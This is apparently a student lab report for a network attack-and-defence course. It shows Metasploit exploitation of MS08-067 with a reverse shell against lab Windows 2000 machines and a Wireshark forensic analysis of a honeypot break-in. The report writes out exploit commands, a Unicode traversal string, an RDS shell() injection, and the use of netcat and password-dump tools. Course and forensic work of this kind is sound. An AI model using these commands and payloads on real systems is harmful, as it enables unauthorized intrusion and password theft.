20251918 2025-2026-2 《网络攻防实践》第6次作业

1.实践内容

实验内容

(1)动手实践Metasploit windows attacker

任务:使用metasploit软件进行windows远程渗透统计实验

具体任务内容:使用windows Attacker/BT4攻击机尝试对windows Metasploitable靶机上的MS08-067漏洞进行远程渗透攻击,获取目标主机的访问权

(2)取证分析实践:解码一次成功的NT系统破解攻击。

来自212.116.251.162的攻击者成功攻陷了一台由rfp部署的蜜罐主机172.16.1.106,(主机名为lab.wiretrip.net),要求提取并分析攻击的全部过程。
攻击者使用了什么破解工具进行攻击
攻击者如何使用这个破解工具进入并控制了系统
攻击者获得系统访问权限后做了什么
我们如何防止这样的攻击
你觉得攻击者是否警觉了他的目标是一台蜜罐主机?如果是,为什么
(3)团队对抗实践:windows系统远程渗透攻击和分析。

攻方使用metasploit选择漏洞进行攻击,获得控制权。(要求写出攻击方的同学信息、使用漏洞、相关IP地址等)

防守方使用wireshark监听获得的网络数据包,分析攻击过程,获取相关信息。

基础知识

  1. MS08-067 漏洞基础
    漏洞编号:MS08-067 / CVE-2008-4250
    影响服务:Windows 系统的 Server 服务(默认监听 445 端口)。
    核心原理:该漏洞的本质是由于 Server 服务在处理特定的 RPC(远程过程调用)请求时,存在栈缓冲区溢出缺陷。
    攻击与危害:
    零交互利用:攻击者无需任何身份验证,只需向目标主机的 445 端口发送构造好的恶意数据包即可触发漏洞。
    最高权限:成功利用后,攻击者直接获得 SYSTEM 系统最高权限,可完全接管目标主机,执行任意系统指令、上传木马后门或窃取机密数据。
    影响范围:主要影响 Windows 2000、Windows XP、Windows Server 2003 等老旧系统。由于利用门槛极低且危害巨大,它是早期内网渗透和网络蠕虫传播的“核武器”。
  2. “永恒之蓝”(EternalBlue)漏洞基础
    漏洞编号:MS17-010 / CVE-2017-0144
    背景事件:由美国国家安全局(NSA)最早发现,2017年4月被黑客组织“影子经纪人”泄露。同年5月,该漏洞被 WannaCry 勒索病毒利用,引发全球性网络灾难。
    影响协议:Windows 系统的 SMBv1 协议(同样监听 445 端口)。
    核心原理:
    漏洞存在于 Windows 内核驱动文件 srv.sys 中。
    当处理 SMBv1 协议的文件扩展属性(FEA)时,系统错误地使用了 16 位变量来计算 FEA 列表长度。
    如果传入长度超过 65535 字节,就会发生整数溢出,导致长度值变为极小值。
    系统会根据这个错误的“极小值”分配非常小的内存缓冲区,但随后却写入了超大的恶意数据,从而造成内核缓冲区的严重溢出,直接覆盖了关键的内核内存。
    攻击与危害:与 MS08-067 类似,攻击者无需认证即可向 445 端口发送恶意 SMB 数据包,但其更为致命的是能够直接在操作系统内核态执行代码,瞬间获取主机的 SYSTEM 最高控制权。

实验环境

image

2.实践过程

2.1 动手实践 Metasploit windows attacker

(1)首先打开 kali,在终端中输入 msfconsole 进入 metasploitable frame work。
fea096f1-9518-4c47-918f-2f66542d487e

(2)输入命令 search ms08_067 来查找漏洞。

4df66f40-af6f-4765-a208-eeae6933c40b

(3)使用命令 use windows/smb/ms08_067_netapi 进入漏洞工作目录。
0ce3d2aa-eaeb-4bbe-90ee-9e6be1d84ad2

(4)使用命令 show options 查看漏洞攻击前所需的设置。
ea92caa1-e135-4642-8e46-e8a838d9dcb7

(5)使用命令 show payloads 显示漏洞载荷。
72c8988a-08b6-4c13-96a4-7fa9582b6c70

(6)然后输入下面三条命令对靶机Win2K进行攻击
输入命令 set payload generic/shell_reverse_tcp 设置载荷。
输入命令 set RHOST 192.168.200.124 设置攻击主机地址(这里用靶机中的 Win2Kserver)。
输入命令 set LHOST 192.168.200.5 设置攻击机地址。
035707bc-4a47-4a25-967e-629e6e196f04

(7)之后输入 exploit 进行攻击,出现会话连接,攻击成功。

035707bc-4a47-4a25-967e-629e6e196f04

分别键入命令ipconfig, net user, systeminfo等查看用户组信息以及系统信息
b2b12956-2973-42a6-b963-da6e855c73a2

b96128be-02de-4f25-a8d4-152467fb5723

568c96e8-788b-4509-abd2-504e8b82bb2b

2.2 解码一次成功的NT系统破解攻击

1.攻击者使用了什么破解工具进行攻击
(1)将教学提供的日志文件snort-0204@0117.log拖入wireshark进行分析
3b590504-8f37-4eec-bcad-fdf3ca9972bf

(2)在命令行内输入ip.addr == 213.116.251.162 && ip.addr == 172.16.1.106进行过滤,过滤后可以看到存在TCP和HTTP协议数据包

f329b821-4957-427a-bec0-c8929dd54583

(3)在117HTTP数据包中可以看到在Unicode编码中对应符号/的字符%C0%AF,分析推测这是攻击者在利用Unicode攻击访问boot.ini文件

7090c84d-7f85-4989-bfa2-8076e66eaf5c

(4)在140数据包中可以看到攻击者在尝试获得msadcs.dll文件 这是针对 IIS RDS 组件缓冲区溢出漏洞的攻击行为,最常用的利用工具是 Metasploit 的 msadc 模块,以及早期的开源 exploit 脚本。

ef1705f4-2dab-4f2d-bf04-e4bd02480151

(5)追踪到149数据包可以看到攻击者输入了sql语句

c0541f78-d816-48b3-9965-23b646165303

提取出进行分析:
1、恶意构造查询: 攻击者构造了带有 Microsoft Access Driver (*.mdb) 的数据库连接字符串,并指定了 IIS 自带的默认教程数据库(c:\winnt\help\iis\htm\tutorial\btcustmr.mdb)。
2、命令注入与执行: 攻击者在 SQL 查询语句中插入了恶意负载 |shell("cmd /c echo werd >> c:\fun")|。这利用了 RDS 组件的漏洞,绕过了正常的数据库查询流程,直接在目标操作系统的底层执行了系统命令(尝试在 C 盘创建 fun 文件并写入内容),以验证命令执行权限或植入后门。
3、黑客工具签名: 数据包末尾出现的 ADM!ROX! YOUR!WORLD! 是早期知名黑客组织 ADM(ADM Crew)编写的 RDS 漏洞自动化利用工具(Exploit)的经典标志性签名。这常见于针对老旧 Windows NT/2000 服务器的渗透攻击中。

2、攻击者如何使用这个破解工具进入并控制了系统
(1)通过命令ip.addr == 213.116.251.162 && http过滤http数据包,观察可以发现,从每一次攻击的时间都很短,推测攻击者先将指令写入shell脚本,再将这个脚本与msadc.pl攻击脚本一起执行。

46b5653b-2552-476e-ae90-f0f52e12bb8c

(2)通过命令ip.addr == 213.116.251.162 && ftp过滤ftp数据包,追踪可以看到攻击者在通过ftp传输文件,如下图所示,分别是nc.exe,pdump.exe,samdump.dll,,这里是在进行口令破解和提权,pdump.exe和samdump.dll是配合使用破解口令的常见工具。nc.exe则是一个远程入侵的后门程序,便于下次攻击。

33b3ad1e-2a24-45a5-a7b1-d834c5a40400

根据抓包记录可以看出,攻击者在成功登录 FTP 后,正在通过 RETR 命令向目标主机传输多个恶意文件,具体包括 nc.exe、pdump.exe 和 samdump.dll。这表明攻击者正在进行系统提权与后门植入操作:其中,pdump.exe 和 samdump.dll 是一套配合使用的黑客工具,主要用于提取系统哈希并破解操作系统口令,以获取更高权限;而 nc.exe(Netcat)则被部署为远程后门程序,用于建立隐蔽的通信通道,方便攻击者长期维持控制并随时发起后续攻击。整体来看,这标志着目标系统已被严重渗透。

3、攻击者获得系统访问权限后做了什么
继续查看http包

f64cdf7a-9cca-4677-9735-9473a9f806a6

这是一个目录遍历与远程命令执行攻击,攻击者试图在目标服务器上复制并隐蔽命令行工具。
具体原理如下:
1、攻击者利用 IIS 服务器 msadc 目录的 Unicode 路径遍历漏洞(通过 %C0%AF 绕过目录限制,解析为 ../)。
2、强行跨目录越权调用了系统关键程序 C:\winnt\system32\cmd.exe。
3、传入参数为 /c copy C:\winnt\system32\cmd.exe+cmd1.exe,尝试将 cmd.exe 复制并重命名为 cmd1.exe,以此绕过后续可能的安全检测。
4、从下方 HTTP 502 报错页面的返回体中可以看到 “1 file(s) copied.” 的字样,这表明攻击者的系统命令已经成功执行。

(1)我们再次追踪TCP流可以看到攻击者输入的相关命令:

e65bf3b4-436d-461e-9625-3daa426cea01

9c0bdb4f-d344-4f1c-b7e3-6e5f79014bf3
image
攻击者进入靶机之后查看了系统文件,创建会话写入文件yay.txt

如何防止这样的攻击?

  1. 缩减攻击面与系统隔离
    全面清理默认测试库、示例脚本等非必要组件;对无法升级的老旧系统实施严格的网络微隔离,切断其与核心网的直接联系。

  2. 最小权限与应用白名单
    降权运行 Web 服务,严禁其调用 cmd.exe 等高危系统命令;部署应用运行白名单,从内核层直接拦截 nc.exe 等未经授权的黑客工具执行。

  3. 严格出站流量管控
    配置防火墙的“默认拒绝”出站策略,严禁服务器主动向外发起 FTP、HTTP 等连接,彻底切断黑客拉取武器库和反弹 Shell 的通道。

  4. 部署端点行为检测(EDR)
    摒弃传统特征查杀,重点监控异常的“进程调用链”(如 Web 进程突然调用 cmd.exe),实时秒级阻断提权和读取密码哈希(SAM文件)的行为。

  5. 底层编码与架构加固
    在代码层强制使用沙箱机制,限制文件读写路径;全面采用参数化查询防止 SQL 注入,并直接从数据库底层彻底禁用 shell()、xp_cmdshell 等危险扩展。

攻击者是否察觉到自己正在访问一个蜜罐主机?
察觉到,如下图所示:攻击者echo写入靶机文件以下内容:“i have seen till now:”以及“best honeypot......”至rfp.txt文件中。

877e52a3-4435-40c6-8ce3-d6354199e842

169334c6-3699-4803-8d56-128448b6da65

2.3 团队对抗实践:Windows 系统远程渗透攻击和分析

1. 实验基础信息

(1)团队分工
攻方: 负责 Metasploit 漏洞渗透,获取 Windows 靶机控制权
攻方同学信息: 20251918 何俊华
防守方: 负责 Wireshark 抓包监听,分析攻击流量并还原攻击过程
防守方同学信息: 20251908 张育家
(2)实验环境
攻击机:Kali Linux(内置 Metasploit 框架)
靶机:Win2kServer
网络环境:攻击机与靶机位于同一局域网,需要启用桥接模式
(3)IP 地址
攻击机 IP:10.166.207.127
靶机 IP:10.166.207.1
(4)选用漏洞
漏洞名称:MS08-067 Microsoft Server 服务远程栈溢出漏洞

2. 攻击方实验过程

(1)ping靶机地址
image
(2)这个实验由我和张育家同学的电脑进行演示团队对抗实验,将我们的电脑连在同一个局域网内。然后编辑我们的kali以及win2kServer,设置成桥接模式。
ba536621-f401-451e-9f16-9c081155ed8d
(3)ping 网关地址
576fe469-8c66-4e22-8766-861a9f3da690
(4)在Kali虚拟机中输入msfconsole,启动Metasploit框架控制台
a06423ad-d6f3-4d4c-b192-af01c48bf32e
(5)输入指令use exploit/windows/smb/ms08_067_netapi加载MS08-067漏洞的核心利用模块。
215c07ce-581b-49b4-b319-4ef3b8ed2ba3
(6)输入指令show payloads列出该漏洞可兼容的攻击载荷
f037e50a-e682-41a8-9666-2222e89cf866
(7)输入指令set payload generic/shell_reverse_tcp 设置反向TCP Shell载荷,输入指令set LHOST 10.166.207.127设置Kali攻击机的IPset RHOST 10.166.207.1设置Win2kServer被攻击机的IP。
814a58f2-ffd8-4476-8d07-660a7fc39780
(8)输入指令show options查看设置的信息
d1723c96-da7e-4be1-84f5-da0e513e9cae
(9)输入指令exploit进行攻击,攻击后可以发现已经进入了张育家的靶机的命令行
41c78acd-2920-459a-aa71-8d5d9a67876a
(10)输入指令mkdir junhua666在对方主机中创建文件夹
输入指令cd junhua666进入该文件夹
输入指令echo I love caixukun 20251918 junhua666>>Gift.txt在对方主机中创建一个Gift.txt文件并留言如上
c8f8534b-6b9f-45bd-9695-09da502c3b23
(11)在对方电脑的C/WINNT/system32中出现了一个junhua666文件夹内,文件夹内有一个Gift.txt记事本文件,内容为I love caixukun 20251918 junhua666
mmexport1776849116628
(12)测试防御
mmexport1776849122487

3.学习中遇到的问题及解决

  • 问题1:执行 exploit 攻击后未获得会话(Session)。
  • 问题1解决方案:检查 RHOST(靶机 IP)和 LHOST(攻击机 IP)是否正确;确认靶机 Win2K 网络可达且未打补丁;关闭靶机防火墙。
  • 问题2:Wireshark 过滤日志时无法找到 ip.addr == 213.116.251.162 相关的数据包。
  • 问题2解决方案:确认日志文件正确加载,且该 IP 地址确实存在于流量中;改用 ip.src == 213.116.251.162 or ip.dst == 213.116.251.162 尝试。

4.实践总结

本次实践围绕Windows系统远程渗透攻击与取证分析展开,分为三个部分:Metasploit漏洞利用、流量取证分析以及团队对抗实践。在Metasploit实践环节,我使用ms08_067漏洞对Windows 2000靶机进行了远程渗透。通过设置reverse_tcp载荷,成功获得靶机Shell,并执行了ipconfig、net user、systeminfo等命令。这一过程使我直观理解了漏洞利用的基本流程:搜索漏洞、选择模块、配置参数、执行攻击。同时认识到,MS08-067之所以危害巨大,在于其无需认证即可触发栈缓冲区溢出,直接获取SYSTEM权限。在取证分析环节,通过Wireshark分析snort日志,还原了攻击者利用IIS RDS漏洞(msadc)实施攻击的完整链条。攻击者首先通过Unicode路径遍历尝试读取boot.ini,随后利用msadc组件进行SQL注入与命令执行,最后通过FTP上传nc.exe、pdump.exe等工具进行提权与后门植入。数据包中的“ADM!ROX!YOUR!WORLD!”签名明确指向了早期ADM组织编写的攻击脚本。此外,攻击者在靶机中写入“best honeypot”等内容,表明其已察觉目标为蜜罐。通过本次实践,我加深了对漏洞利用原理、网络取证方法以及分层防御策略的理解。针对此类攻击,应采取缩减攻击面、最小权限、出站流量管控、EDR监测等综合措施。总体而言,本次实践提升了我的安全分析与应急响应能力。

posted on 2026-04-22 17:16  jh163  阅读(8)  评论(0)    收藏  举报